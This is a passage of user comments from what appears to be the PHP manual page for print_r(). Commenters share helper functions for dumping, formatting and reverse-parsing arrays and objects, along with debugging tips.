                // this is a tested array/recursive call to this function
                // take a set of spaces off the beginning
                $spaces = $match[ 1 ];
                $spaces_length = strlen($spaces);
                $lines_total = count($lines);
                for ($i = 0; $i < $lines_total; $i++) {
                    if (substr($lines[ $i ], 0, $spaces_length) == $spaces) {
                        $lines[ $i ] = substr($lines[ $i ], $spaces_length);
                    }
                }
            }
            $is_object = trim($lines[ 0 ]) == 'stdClass Object';
            array_shift($lines); // Array
            array_shift($lines); // (
            array_pop($lines); // )
            $input = implode("\n", $lines);
            $matches = array();
            // make sure we only match stuff with 4 preceding spaces (stuff for this array and not a nested one)
            preg_match_all("/^\s{4}\[(.+?)\] \=\> /m", $input, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER);
            $pos = array();
            $previous_key = '';
            $in_length = strlen($input);
            // store the following in $pos:
            // array with key = key of the parsed array's item
            // value = array(start position in $in, $end position in $in)
            foreach ($matches as $match) {
                $key = $match[ 1 ][ 0 ];
                $start = $match[ 0 ][ 1 ] + strlen($match[ 0 ][ 0 ]);
                $pos[ $key ] = array($start, $in_length);
                if ($previous_key != '') {
                    $pos[ $previous_key ][ 1 ] = $match[ 0 ][ 1 ] - 1;
                }
                $previous_key = $key;
            }
            $ret = array();
            foreach ($pos as $key => $where) {
                // recursively see if the parsed out value is an array too
                $ret[ $key ] = print_r_reverse(substr($input, $where[ 0 ], $where[ 1 ] - $where[ 0 ]));
            }

            return $is_object ? (object)$ret : $ret;
        }
    }
?>
anymix dot services at gmail dot com 28-May-2017 04:31
// New var export option

function varExp($E,$vE){
    $vE.="=array(";$sep="";
    foreach ($E as $veK => $veV) {
        $vE.=$sep."'$veK'=>'$veV'";$sep=",";
    }
    $vE.=");";
    return $vE;
}

print varExp($I,"\$I");
lech 02-May-2017 08:30
A slight amendment to Matt's awesome print_r_reverse function (Thank You, a life-saver - data recovery :-) . If the output is copied from a Windows system, the end of lines may include the return character "\r" and so the scalar (string) elements will include a trailing "\r" character that isn't suppose to be there. To resolve, replace the first line in the function with...

<?php $lines = preg_split('#\r?\n#', trim($in)); ?>

This will work for both cases (Linux and Windows).

I include the entire function below for completeness, but all credit to Matt, the original author, Thank You.

<?php
//Author: Matt (http://us3.php.net/print_r)
function print_r_reverse($in) {
    $lines = preg_split('#\r?\n#', trim($in));
    if (trim($lines[0]) != 'Array') {
        // bottomed out to something that isn't an array
        return $in;
    } else {
        // this is an array, lets parse it
        if (preg_match("/(\s{5,})\(/", $lines[1], $match)) {
            // this is a tested array/recursive call to this function
            // take a set of spaces off the beginning
            $spaces = $match[1];
            $spaces_length = strlen($spaces);
            $lines_total = count($lines);
            for ($i = 0; $i < $lines_total; $i++) {
                if (substr($lines[$i], 0, $spaces_length) == $spaces) {
                    $lines[$i] = substr($lines[$i], $spaces_length);
                }
            }
        }
        array_shift($lines); // Array
        array_shift($lines); // (
        array_pop($lines); // )
        $in = implode("\n", $lines);
        // make sure we only match stuff with 4 preceding spaces (stuff for this array and not a nested one)
        preg_match_all("/^\s{4}\[(.+?)\] \=\> /m", $in, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER);
        $pos = array();
        $previous_key = '';
        $in_length = strlen($in);
        // store the following in $pos:
        // array with key = key of the parsed array's item
        // value = array(start position in $in, $end position in $in)
        foreach ($matches as $match) {
            $key = $match[1][0];
            $start = $match[0][1] + strlen($match[0][0]);
            $pos[$key] = array($start, $in_length);
            if ($previous_key != '') $pos[$previous_key][1] = $match[0][1] - 1;
            $previous_key = $key;
        }
        $ret = array();
        foreach ($pos as $key => $where) {
            // recursively see if the parsed out value is an array too
            $ret[$key] = print_r_reverse(substr($in, $where[0], $where[1] - $where[0]));
        }
        return $ret;
    }
}
?>
Trixor 01-Feb-2017 07:12
I've made a small improvement to the print_r_reverse function to also handle objects. Thanks to Matt for making the original.

<?php
function print_r_reverse($in) {
  $lines = explode("\n", trim($in));
  if (trim($lines[0]) != 'Array' && trim($lines[0] != 'stdClass Object')) {
// bottomed out to something that isn't an array or object
    return $in;
  } else {
// this is an array or object, lets parse it
    $match = array();
    if (preg_match("/(\s{5,})\(/", $lines[1], $match)) {
// this is a tested array/recursive call to this function
// take a set of spaces off the beginning
      $spaces = $match[1];
      $spaces_length = strlen($spaces);
      $lines_total = count($lines);
      for ($i = 0; $i < $lines_total; $i++) {
        if (substr($lines[$i], 0, $spaces_length) == $spaces) {
          $lines[$i] = substr($lines[$i], $spaces_length);
        }
      }
    }
    $is_object = trim($lines[0]) == 'stdClass Object';
    array_shift($lines); // Array
    array_shift($lines); // (
    array_pop($lines); // )
    $in = implode("\n", $lines);
    $matches = array();
// make sure we only match stuff with 4 preceding spaces (stuff for this array and not a nested one)
    preg_match_all("/^\s{4}\[(.+?)\] \=\> /m", $in, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER);
    $pos = array();
    $previous_key = '';
    $in_length = strlen($in);
// store the following in $pos:
// array with key = key of the parsed array's item
// value = array(start position in $in, $end position in $in)
    foreach ($matches as $match) {
      $key = $match[1][0];
      $start = $match[0][1] + strlen($match[0][0]);
      $pos[$key] = array($start, $in_length);
      if ($previous_key != '') {
        $pos[$previous_key][1] = $match[0][1] - 1;
      }
      $previous_key = $key;
    }
    $ret = array();
    foreach ($pos as $key => $where) {
// recursively see if the parsed out value is an array too
      $ret[$key] = print_r_reverse(substr($in, $where[0], $where[1] - $where[0]));
    }
    return $is_object ? (object) $ret : $ret;
  }
}
?>
ntd at entidi dot it 31-Jul-2015 05:43
Another attempt that tries to overcome the memory blowout when the passed in data has mutual recursion.

<?php
function safe_print_r($data, $nesting = 5, $indent = '') {
    if (! is_object($data) && ! is_array($data)) {
        var_dump($data);
    } elseif ($nesting < 0) {
        echo "** MORE **\n";
    } else {
        echo ucfirst(gettype($data)) . " (\n";
        foreach ((array) $data as $k => $v) {
            echo $indent . "\t[$k] => ";
            safe_print_r($v, $nesting - 1, "$indent\t");
        }
        echo "$indent)\n";
    }
}
?>
Sumit 27-May-2015 01:20
I prefer to use
<?php
printf("<pre>%s</pre>",print_r($_POST, true));
?>
Simon Asika 06-Nov-2013 04:06
Here is a print_r() clone but support max level limit.

When we want to print a big object, this will help us get a clean dumping data.

<?php

/**
 * Recrusive print variables and limit by level.
 *
 * @param   mixed  $data   The variable you want to dump.
 * @param   int    $level  The level number to limit recrusive loop.
 *
 * @return  string  Dumped data.
 *
 * @author  Simon Asika (asika32764[at]gmail com)
 * @date    2013-11-06
 */
function print_r_level($data, $level = 5)
{
    static $innerLevel = 1;

    static $tabLevel = 1;

    static $cache = array();

    $self = __FUNCTION__;

    $type       = gettype($data);
    $tabs       = str_repeat('    ', $tabLevel);
    $quoteTabes = str_repeat('    ', $tabLevel - 1);

    $recrusiveType = array('object', 'array');

    // Recrusive
    if (in_array($type, $recrusiveType))
    {
        // If type is object, try to get properties by Reflection.
        if ($type == 'object')
        {
            if (in_array($data, $cache))
            {
                return "\n{$quoteTabes}*RECURSION*\n";
            }

            // Cache the data
            $cache[] = $data;

            $output     = get_class($data) . ' ' . ucfirst($type);
            $ref        = new \ReflectionObject($data);
            $properties = $ref->getProperties();

            $elements = array();

            foreach ($properties as $property)
            {
                $property->setAccessible(true);

                $pType = $property->getName();

                if ($property->isProtected())
                {
                    $pType .= ":protected";
                }
                elseif ($property->isPrivate())
                {
                    $pType .= ":" . $property->class . ":private";
                }

                if ($property->isStatic())
                {
                    $pType .= ":static";
                }

                $elements[$pType] = $property->getValue($data);
            }
        }
        // If type is array, just retun it's value.
        elseif ($type == 'array')
        {
            $output = ucfirst($type);
            $elements = $data;
        }

        // Start dumping datas
        if ($level == 0 || $innerLevel < $level)
        {
            // Start recrusive print
            $output .= "\n{$quoteTabes}(";

            foreach ($elements as $key => $element)
            {
                $output .= "\n{$tabs}[{$key}] => ";

                // Increment level
                $tabLevel = $tabLevel + 2;
                $innerLevel++;

                $output  .= in_array(gettype($element), $recrusiveType) ? $self($element, $level) : $element;

                // Decrement level
                $tabLevel = $tabLevel - 2;
                $innerLevel--;
            }

            $output .= "\n{$quoteTabes})\n";
        }
        else
        {
            $output .= "\n{$quoteTabes}*MAX LEVEL*\n";
        }
    }

    // Clean cache
    if($innerLevel == 1)
    {
        $cache = array();
    }

    return $output;
}// End function

// TEST ------------------------------------

class testClass
{
    protected $a = 'aaa';

    private $b = 'bbb';

    public $c = array(1, 2, ['a', 'b', 'c'], 4);

    static public $d = 'ddd';

    static protected $e = 'eee';
}

$test = new testClass;

$test->testClass = $test;

echo '<pre>' . print_r_level($test, 3) . '</pre>';

?>

will output
-------------------------------------------------------------

testClass Object
(
    [a:protected] => aaa
    [b:testClass:private] => bbb
    [c] => Array
        (
            [0] => 1
            [1] => 2
            [2] => Array
                *MAX LEVEL*

            [3] => 4
        )

    [d:static] => ddd
    [e:protected:static] => eee
    [testClass] =>
        *RECURSION*

)
preda dot vlad at yahoo dot com 22-Mar-2013 09:40
print_r(), just like var_dump() does NOT cast an object, not even if it has a __toString() method - which is normal.

<?php
class A {
    public function __toString() {
        return 'In class A';
    }
}
$a = new A;
echo $a; // In class A
print_r($a); // A Object()
// you can simulate the echo by casting it manually
print_r((string)$a);  // In class A
henzeberkheij at gmail dot com 28-Jan-2012 03:10
print_r is used for debug purposes. Yet I had some classes where I just wanted the values coming out of the database, not all the other crap. thus i wrote the following function. If your class has an toArray function, that one will be called otherwise it will return the object as is. print_neat_classes_r is the function that should be called!

<?php
print_neat_classes_r($array, $return=false){
        return print_r(self::neat_class_print_r($array), $return);
    }

function do_print_r($array, $return=false){
        if(is_object($array) && method_exists($array, 'toArray')){
            return $array->toArray();
        }else if(is_array($array)){
            foreach($array as $key=>$obj){
                $array[$key] = self::do_print_r($obj, $return);
            }
            return $array;
        }else{
            return $array;
        }
    }
?>
eithed 21-Oct-2011 02:25
Bear in mind that print_r actually reserves some memory to do something - so, for example thing like:

<?php
function shutdown_handler()
{
    file_put_contents($_SERVER['DOCUMENT_ROOT']."/log.txt", print_r($_REQUEST, true));
}

ini_set('memory_limit', '1M');
register_shutdown_function("shutdown_handler");

$array = array();
while(true)
    $array[] = new stdClass();
?>

will just not work. Try using var_export, and presto, everything is fine.
machuidel 03-Feb-2011 04:01
The following will output an array in a PHP parsable format:

<?php
function serialize_array(&$array, $root = '$root', $depth = 0)
{
        $items = array();

        foreach($array as $key => &$value)
        {
                if(is_array($value))
                {
                        serialize_array($value, $root . '[\'' . $key . '\']', $depth + 1);
                }
                else
                {
                        $items[$key] = $value;
                }
        }

        if(count($items) > 0)
        {
                echo $root . ' = array(';

                $prefix = '';
                foreach($items as $key => &$value)
                {
                        echo $prefix . '\'' . $key . '\' => \'' . addslashes($value) . '\'';
                        $prefix = ', ';
                }

                echo ');' . "\n";
        }
}
?>
Alexander 19-Mar-2010 05:20
A simple function to send the output of print_r to firebug.
The script creates a dummy console object with a log method for when firebug is disabled/not available.

<?php
function debug ($data) {
    echo "<script>\r\n//<![CDATA[\r\nif(!console){var console={log:function(){}}}";
    $output    =    explode("\n", print_r($data, true));
    foreach ($output as $line) {
        if (trim($line)) {
            $line    =    addslashes($line);
            echo "console.log(\"{$line}\");";
        }
    }
    echo "\r\n//]]>\r\n</script>";
}
?>
liamtoh6 at hotmail dot com 03-Feb-2010 10:01
I add this function to the global scope on just about every project I do, it makes reading the output of print_r() in a browser infinitely easier.

<?php
function print_r2($val){
        echo '<pre>';
        print_r($val);
        echo  '</pre>';
}
?>

It also makes sense in some cases to add an if statement to only display the output in certain scenarios, such as:

if(debug==true)
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1')
Matt 14-Sep-2009 12:53
Here is another version that parses the print_r() output. I tried the one posted, but I had difficulties with it. I believe it has a problem with nested arrays. This handles nested arrays without issue as far as I can tell.

<?php
function print_r_reverse($in) {
    $lines = explode("\n", trim($in));
    if (trim($lines[0]) != 'Array') {
        // bottomed out to something that isn't an array
        return $in;
    } else {
        // this is an array, lets parse it
        if (preg_match("/(\s{5,})\(/", $lines[1], $match)) {
            // this is a tested array/recursive call to this function
            // take a set of spaces off the beginning
            $spaces = $match[1];
            $spaces_length = strlen($spaces);
            $lines_total = count($lines);
            for ($i = 0; $i < $lines_total; $i++) {
                if (substr($lines[$i], 0, $spaces_length) == $spaces) {
                    $lines[$i] = substr($lines[$i], $spaces_length);
                }
            }
        }
        array_shift($lines); // Array
        array_shift($lines); // (
        array_pop($lines); // )
        $in = implode("\n", $lines);
        // make sure we only match stuff with 4 preceding spaces (stuff for this array and not a nested one)
        preg_match_all("/^\s{4}\[(.+?)\] \=\> /m", $in, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER);
        $pos = array();
        $previous_key = '';
        $in_length = strlen($in);
        // store the following in $pos:
        // array with key = key of the parsed array's item
        // value = array(start position in $in, $end position in $in)
        foreach ($matches as $match) {
            $key = $match[1][0];
            $start = $match[0][1] + strlen($match[0][0]);
            $pos[$key] = array($start, $in_length);
            if ($previous_key != '') $pos[$previous_key][1] = $match[0][1] - 1;
            $previous_key = $key;
        }
        $ret = array();
        foreach ($pos as $key => $where) {
            // recursively see if the parsed out value is an array too
            $ret[$key] = print_r_reverse(substr($in, $where[0], $where[1] - $where[0]));
        }
        return $ret;
    }
}

?>
Bob 08-May-2009 03:19
Here is a function that formats the output of print_r as a expandable/collapsable tree list using HTML and JavaScript.
<?php
function print_r_tree($data)
{
    // capture the output of print_r
    $out = print_r($data, true);

    // replace something like '[element] => <newline> (' with <a href="javascript:toggleDisplay('...');">...</a><div id="..." style="display: none;">
    $out = preg_replace('/([ \t]*)(\[[^\]]+\][ \t]*\=\>[ \t]*[a-z0-9 \t_]+)\n[ \t]*\(/iUe',"'\\1<a href=\"javascript:toggleDisplay(\''.(\$id = substr(md5(rand().'\\0'), 0, 7)).'\');\">\\2</a><div id=\"'.\$id.'\" style=\"display: none;\">'", $out);

    // replace ')' on its own on a new line (surrounded by whitespace is ok) with '</div>
    $out = preg_replace('/^\s*\)\s*$/m', '</div>', $out);

    // print the javascript function toggleDisplay() and then the transformed output
    echo '<script language="Javascript">function toggleDisplay(id) { document.getElementById(id).style.display = (document.getElementById(id).style.display == "block") ? "none" : "block"; }</script>'."\n$out";
}
?>
Pass it a multidimensional array or object and each sub-array/object will be hidden and replaced by a html link that will toggle its display on and off.
Its quick and dirty, but great for debugging the contents of large arrays and objects.
Note: You'll want to surround the output with <pre></pre>
sebasg37 at gmail dot com 25-Jan-2009 09:35
If you have to catch the output without showing it at all at first (for example, if you want to append the print_r output to a file), you can do this:

<?php

ob_start();
print_r( $some_array );
$output = ob_get_clean();

// if you want to append the print_r output of $some_array to, let's say, log.txt:

file_put_contents( 'log.txt', file_get_contents( 'log.txt' ) . $output )

?>
afisher8 at cox dot net 17-Dec-2008 08:53
I use this all the time when debugging objects, but when you have a very large object with big arrays of sub-objects, it's easy to get overwhelmed with the large amount of output....sometimes you don't want to see absolutely every sub-object.

I made this function to debug objects while "hiding" sub-objects of certain types.  This also color codes the output for a more readable printout.

<?php

function wtf($var, $arrayOfObjectsToHide=null, $fontSize=11)
{
    $text = print_r($var, true);

    if (is_array($arrayOfObjectsToHide)) {

        foreach ($arrayOfObjectsToHide as $objectName) {

            $searchPattern = '#('.$objectName.' Object\n(\s+)\().*?\n\2\)\n#s';
            $replace = "$1<span style=\"color: #FF9900;\">--&gt; HIDDEN - courtesy of wtf() &lt;--</span>)";
            $text = preg_replace($searchPattern, $replace, $text);
        }
    }

    // color code objects
    $text = preg_replace('#(\w+)(\s+Object\s+\()#s', '<span style="color: #079700;">$1</span>$2', $text);
    // color code object properties
    $text = preg_replace('#\[(\w+)\:(public|private|protected)\]#', '[<span style="color: #000099;">$1</span>:<span style="color: #009999;">$2</span>]', $text);

    echo '<pre style="font-size: '.$fontSize.'px; line-height: '.$fontSize.'px;">'.$text.'</pre>';
}

// example usage:
wtf($myBigObject, array('NameOfObjectToHide_1', 'NameOfObjectToHide_2'));

?>
kurt krueckeberg 28-Oct-2008 10:53
This is an alternative for printing arrays. It bolds array values.

<?php
function print_array(&$a, $str = "")
{
    if ($str[0]) {
        echo "$str =";
    }
    echo ' array( ';
    foreach ($a as $k => $v) {

        echo "[$k]".' => ';

        if (is_array($v)) {
            print_array($v);
        }
        else {
               echo "<strong>$a[$k]</strong> ";
        }
    }
    echo ')  ';
}
$a1 = array ("apples", "oranges", "pears");
$a2 = array ("potatos", "green beans", "squash");
$a3 = array ("euros", "dollars", "pesos", "dinars");
$test = range(1, 9);
array_push($test, array ("fruit" => $a1, "vegies" => $a2, "money" => $a3));
print_array($test, "test");
?>
schizo do not spamme duckie at gmail dot com 07-Oct-2008 05:00
my take on the highlighted markupped debug function:

<?php
/**
 * print_array()
 * Does a var_export of the array and returns it between <pre> tags
 *
 * @param mixed $var any input you can think of
 * @return string HTML
 */
function print_array($var)
{
    $input =var_export($var,true);
    $input = preg_replace("! => \n\W+ array \(!Uims", " => Array ( ", $input);
    $input = preg_replace("!array \(\W+\),!Uims", "Array ( ),", $input);
    return("<pre>".str_replace('><?', '>', highlight_string('<'.'?'.$input, true))."</pre>");
}
?>
brenden at beagleproductions dot com 28-Aug-2008 01:58
Many developers have submitted bugs to the PHP development team with regards to print_r showing protected and private properties of objects (PHP 5).  This is not a bug; sensitive information (ex. database connection object) should be  encapsulated within a private member function of your class.
admin at swivelgames dot com 17-Aug-2008 01:44
I was having problems using print_r because I didn't like the fact that if tags where included in the array it would still be parsed by the browsers.

Heres a simple fix for anyone who is having the same problem as I did. This will output your text properly for viewing through the browser instead of the browser's "view source" or CLI.

Script:
<?php

     $MyArray[0]="<div align='center'>My Text</div>";

     echo "<pre>".htmlspecialchars(print_r($MyArray,true))."</pre>";

?>

Output:
<pre>Array
(
    [0] =&gt; &lt;div align='center'&gt;My Text&lt;/div&gt;
)
</pre>
Anonymous 28-Jun-2008 01:21
I have written a nice debugging function.
This function handles arrays beautifully.
<?php
//Debug variables, $i and $k are for recursive use
function DebugDisplayVar($input, $name = "Debug", $i = "0", $k = array("Error")){
    if(is_array($input))
    {    foreach ($input as $i => $value){
            $temp = $k;
            $temp[] = $i;
            DebugDisplayVar($value, $name, $i, $temp);}
    }else{//if not array
        echo "$".$name;//[$k]
        foreach ($k as $i => $value){
            if($value !=="Error"){echo "[$value]";}
        }
        echo " = $input<br>";
}    }

//outputs
Debug[0] = value
Debug[1] = another value
ect...

?>
janci 13-May-2008 02:49
You cannot use print_r(), var_dump() nor var_export() to get static member variables of a class. However, in PHP5 you can use Reflection classes for this:

<?php

$reflection = new ReflectionClass('Static');
print_r($reflection->getStaticProperties());

?>
helpful at maybe dot com 06-Mar-2008 08:13
Another slight modification to the previous post to allow for empty array elements

added the following lines after the first preg_match block
<?php
        } else if ($expecting == 2 && preg_match('/^\[(.+?)\] \=\>$/', $trim, $matches)) { // array element
            // the array element is blank
            list ($fullMatch, $key) = $matches;
            $topArray[$key] = $element;
        }

?>
anon at anon dot com 29-Feb-2008 10:30
A slight modification to the previous post to allow for arrays containing mutli line strings. haven't fully tested it with everything, but seems to work great for the stuff i've done so far.

<?php

function print_r_reverse(&$output)
{
    $expecting = 0; // 0=nothing in particular, 1=array open paren '(', 2=array element or close paren ')'
    $lines = explode("\n", $output);
    $result = null;
    $topArray = null;
    $arrayStack = array();
    $matches = null;
    while (!empty($lines) && $result === null)
    {
        $line = array_shift($lines);
        $trim = trim($line);
        if ($trim == 'Array')
        {
            if ($expecting == 0)
            {
                $topArray = array();
                $expecting = 1;
            }
            else
            {
                trigger_error("Unknown array.");
            }
        }
        else if ($expecting == 1 && $trim == '(')
        {
            $expecting = 2;
        }
        else if ($expecting == 2 && preg_match('/^\[(.+?)\] \=\> (.+)$/', $trim, $matches)) // array element
        {
            list ($fullMatch, $key, $element) = $matches;
            if (trim($element) == 'Array')
            {
                $topArray[$key] = array();
                $newTopArray =& $topArray[$key];
                $arrayStack[] =& $topArray;
                $topArray =& $newTopArray;
                $expecting = 1;
            }
            else
            {
                $topArray[$key] = $element;
            }
        }
        else if ($expecting == 2 && $trim == ')') // end current array
        {
            if (empty($arrayStack))
            {
                $result = $topArray;
            }
            else // pop into parent array
            {
                // safe array pop
                $keys = array_keys($arrayStack);
                $lastKey = array_pop($keys);
                $temp =& $arrayStack[$lastKey];
                unset($arrayStack[$lastKey]);
                $topArray =& $temp;
            }
        }
        // Added this to allow for multi line strings.
    else if (!empty($trim) && $expecting == 2)
    {
        // Expecting close parent or element, but got just a string
        $topArray[$key] .= "\n".$line;
    }
        else if (!empty($trim))
        {
            $result = $line;
        }
    }

    $output = implode(n, $lines);
    return $result;
}

/**
 * @param string $output : The output of a multiple print_r calls, separated by newlines
 * @return mixed[] : parseable elements of $output
 */
function print_r_reverse_multiple($output)
{
    $result = array();
    while (($reverse = print_r_reverse($output)) !== NULL)
    {
        $result[] = $reverse;
    }
    return $result;
}

$output = '
Array
(
    [a] => apple
    [b] => banana
    [c] => Array
        (
            [0] => x
            [1] => y
            [2] => z
            [3] => Array
            (
                [nest] => yes
                [nest2] => Array
                (
                    [nest] => some more
                    asffjaskkd
                )
                [nest3] => o rly?
            )
        )
)

some extra stuff
';
var_dump(print_r_reverse($output), $output);

?>

This should output

array(3) {
  ["a"]=>
  string(5) "apple"
  ["b"]=>
  string(6) "banana"
  ["c"]=>
  array(4) {
    [0]=>
    string(1) "x"
    [1]=>
    string(1) "y"
    [2]=>
    string(1) "z"
    [3]=>
    array(3) {
      ["nest"]=>
      string(3) "yes"
      ["nest2"]=>
      array(1) {
        ["nest"]=>
        string(40) "some more
                    asffjaskkd"
      }
      ["nest3"]=>
      string(6) "o rly?"
    }
  }
}
string(18) "nsome extra stuffn"

Added:
else if (!empty($trim) && $expecting == 2)
{
    // Expecting close parent or element, but got just a string
    $topArray[$key] .= "\n".$line;
}
bart at mediawave dot nl 30-Oct-2007 04:27
Here's a PHP version of print_r which can be tailored to your needs. Shows protected and private properties of objects and detects recursion (for objects only!). Usage:

void u_print_r ( mixed $expression [, array $ignore] )

Use the $ignore parameter to provide an array of property names that shouldn't be followed recursively.

<?php

function u_print_r($subject, $ignore = array(), $depth = 1, $refChain = array())
{
    if ($depth > 20) return;
    if (is_object($subject)) {
        foreach ($refChain as $refVal)
            if ($refVal === $subject) {
                echo "*RECURSION*\n";
                return;
            }
        array_push($refChain, $subject);
        echo get_class($subject) . " Object ( \n";
        $subject = (array) $subject;
        foreach ($subject as $key => $val)
            if (is_array($ignore) && !in_array($key, $ignore, 1)) {
                echo str_repeat(" ", $depth * 4) . '[';
                if ($key{0} == "\0") {
                    $keyParts = explode("\0", $key);
                    echo $keyParts[2] . (($keyParts[1] == '*')  ? ':protected' : ':private');
                } else
                    echo $key;
                echo '] => ';
                u_print_r($val, $ignore, $depth + 1, $refChain);
            }
        echo str_repeat(" ", ($depth - 1) * 4) . ")\n";
        array_pop($refChain);
    } elseif (is_array($subject)) {
        echo "Array ( \n";
        foreach ($subject as $key => $val)
            if (is_array($ignore) && !in_array($key, $ignore, 1)) {
                echo str_repeat(" ", $depth * 4) . '[' . $key . '] => ';
                u_print_r($val, $ignore, $depth + 1, $refChain);
            }
        echo str_repeat(" ", ($depth - 1) * 4) . ")\n";
    } else
        echo $subject . "\n";
}

?>

Example:

<?php

class test {

    public $var1 = 'a';
    protected $var2 = 'b';
    private $var3 = 'c';
    protected $array = array('x', 'y', 'z');

}

$test = new test();
$test->recursiveRef = $test;
$test->anotherRecursiveRef->recursiveRef = $test;
$test->dont->follow = 'me';

u_print_r($test, array('dont'));

?>

Will produce:

test Object (
    [var1] => a
    [var2:protected] => b
    [var3:private] => c
    [array:protected] => Array (
        [0] => x
        [1] => y
        [2] => z
    )
    [recursiveRef] => *RECURSION*
    [anotherRecursiveRef] => stdClass Object (
        [recursiveRef] => *RECURSION*
    )
)
motin at demomusic dot nu 19-Jun-2007 04:01
This works around the hacky nature of print_r in return mode (using output buffering for the return mode to work is hacky...):

<?php
/**
  * An alternative to print_r that unlike the original does not use output buffering with
  * the return parameter set to true. Thus, Fatal errors that would be the result of print_r
  * in return-mode within ob handlers can be avoided.
  *
  * Comes with an extra parameter to be able to generate html code. If you need a
  * human readable DHTML-based print_r alternative, see http://krumo.sourceforge.net/
  *
  * Support for printing of objects as well as the $return parameter functionality
  * added by Fredrik Wollsén (fredrik dot motin at gmail), to make it work as a drop-in
  * replacement for print_r (Except for that this function does not output
  * paranthesises around element groups... ;) )
  *
  * Based on return_array() By Matthew Ruivo (mruivo at gmail)
  * (http://se2.php.net/manual/en/function.print-r.php#73436)
  */
function obsafe_print_r($var, $return = false, $html = false, $level = 0) {
    $spaces = "";
    $space = $html ? "&nbsp;" : " ";
    $newline = $html ? "<br />" : "\n";
    for ($i = 1; $i <= 6; $i++) {
        $spaces .= $space;
    }
    $tabs = $spaces;
    for ($i = 1; $i <= $level; $i++) {
        $tabs .= $spaces;
    }
    if (is_array($var)) {
        $title = "Array";
    } elseif (is_object($var)) {
        $title = get_class($var)." Object";
    }
    $output = $title . $newline . $newline;
    foreach($var as $key => $value) {
        if (is_array($value) || is_object($value)) {
            $level++;
            $value = obsafe_print_r($value, true, $html, $level);
            $level--;
        }
        $output .= $tabs . "[" . $key . "] => " . $value . $newline;
    }
    if ($return) return $output;
      else echo $output;
}
?>

Built on a function earlier posted in these comments as stated in the Doc comment. Cheers! /Fredrik (Motin)
Enthusiastic PHPers 22-Mar-2007 12:03
We had an interesting problem dumping an object that
contained embedded HTML. The application makes use
of buffer manipulation functions, so print_r's 2nd argument
wasn't helpful. Here is how we solved the problem:

$object = new ObjectContainingHTML();
$savedbuffercontents = ob_get_clean();
print_r($object);
$print_r_output = ob_get_clean();
ob_start();
echo $savedbuffercontents;
echo htmlentities($print_r_output);
Matthew Ruivo (mruivo at gmail) 22-Feb-2007 10:47
For those of you needing to print an array within a buffer callback function, I've created this quick function. It simply returns the array as a readable string rather than printing it. You can even choose whether to return it in normal text-mode or HTML. It's recursive, so multi-dimensial arrays are supported. I hope someone finds this useful!

<?php

    function return_array($array, $html = false, $level = 0) {
        $space = $html ? "&nbsp;" : " ";
        $newline = $html ? "<br />" : "\n";
        for ($i = 1; $i <= 6; $i++) {
            $spaces .= $space;
        }
        $tabs = $spaces;
        for ($i = 1; $i <= $level; $i++) {
            $tabs .= $spaces;
        }
        $output = "Array" . $newline . $newline;
        foreach($array as $key => $value) {
            if (is_array($value)) {
                $level++;
                $value = return_array($value, $html, $level);
                $level--;
            }
            $output .= $tabs . "[" . $key . "] => " . $value . $newline;
        }
        return $output;
    }

?>
reinder at fake-address dot com 31-Jan-2006 09:09
I always use this function in my code, because most of my functions return an Array or Boolean :

<?php

function printr ( $object , $name = '' ) {

    print ( '\'' . $name . '\' : ' ) ;

    if ( is_array ( $object ) ) {
        print ( '<pre>' )  ;
        print_r ( $object ) ;
        print ( '</pre>' ) ;
    } else {
        var_dump ( $object ) ;
    }

}

?>

( print_r gives no output on FALSE and that can be annoying! )
thbley at gmail dot com 16-Nov-2005 12:10
Here is a print_r that produces xml:
(now you can expand/collapse the nodes in your browser)

<?php
header('Content-Type: text/xml; CHARSET=gb2312');
echo print_r_xml($some_var);

function print_r_xml($arr,$first=true) {
  $output = "";
  if ($first) $output .= "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<data>\n";
  foreach($arr as $key => $val) {
    if (is_numeric($key)) $key = "arr_".$key; // <0 is not allowed
    switch (gettype($val)) {
      case "array":
        $output .= "<".htmlspecialchars($key)." type='array' size='".count($val)."'>".
          print_r_xml($val,false)."</".htmlspecialchars($key).">\n"; break;
      case "boolean":
        $output .= "<".htmlspecialchars($key)." type='bool'>".($val?"true":"false").
          "</".htmlspecialchars($key).">\n"; break;
      case "integer":
        $output .= "<".htmlspecialchars($key)." type='integer'>".
          htmlspecialchars($val)."</".htmlspecialchars($key).">\n"; break;
      case "double":
        $output .= "<".htmlspecialchars($key)." type='double'>".
          htmlspecialchars($val)."</".htmlspecialchars($key).">\n"; break;
      case "string":
        $output .= "<".htmlspecialchars($key)." type='string' size='".strlen($val)."'>".
          htmlspecialchars($val)."</".htmlspecialchars($key).">\n"; break;
      default:
        $output .= "<".htmlspecialchars($key)." type='unknown'>".gettype($val).
          "</".htmlspecialchars($key).">\n"; break;
    }
  }
  if ($first) $output .= "</data>\n";
  return $output;
}

?>
warhog at warhog dot net 11-Aug-2005 05:01
For very long arrays I have written a little function which formats an array quite nice and uses javascript for browsing it like a tree. The function is very customizable with the $style parameter.
For me it's of great use for browsing large array's, for example when those are used in language-files in some script and so on. It may even be used in "real" scripts for the "real" front-end, cause the tree can very easily be styled (look at the function or the outputted source and you'll see what i mean).

Here's the function:

<?php

function print_r_html($arr, $style = "display: none; margin-left: 10px;")
{ static $i = 0; $i++;
  echo "\n<div id=\"array_tree_$i\" class=\"array_tree\">\n";
  foreach($arr as $key => $val)
  { switch (gettype($val))
    { case "array":
        echo "<a onclick=\"document.getElementById('";
        echo array_tree_element_$i."').style.display = ";
        echo "document.getElementById('array_tree_element_$i";
        echo "').style.display == 'block' ?";
        echo "'none' : 'block';\"\n";
        echo "name=\"array_tree_link_$i\" href=\"#array_tree_link_$i\">".htmlspecialchars($key)."</a><br />\n";
        echo "<div class=\"array_tree_element_\" id=\"array_tree_element_$i\" style=\"$style\">";
        echo print_r_html($val);
        echo "</div>";
      break;
      case "integer":
        echo "<b>".htmlspecialchars($key)."</b> => <i>".htmlspecialchars($val)."</i><br />";
      break;
      case "double":
        echo "<b>".htmlspecialchars($key)."</b> => <i>".htmlspecialchars($val)."</i><br />";
      break;
      case "boolean":
        echo "<b>".htmlspecialchars($key)."</b> => ";
        if ($val)
        { echo "true"; }
        else
        { echo "false"; }
        echo  "<br />\n";
      break;
      case "string":
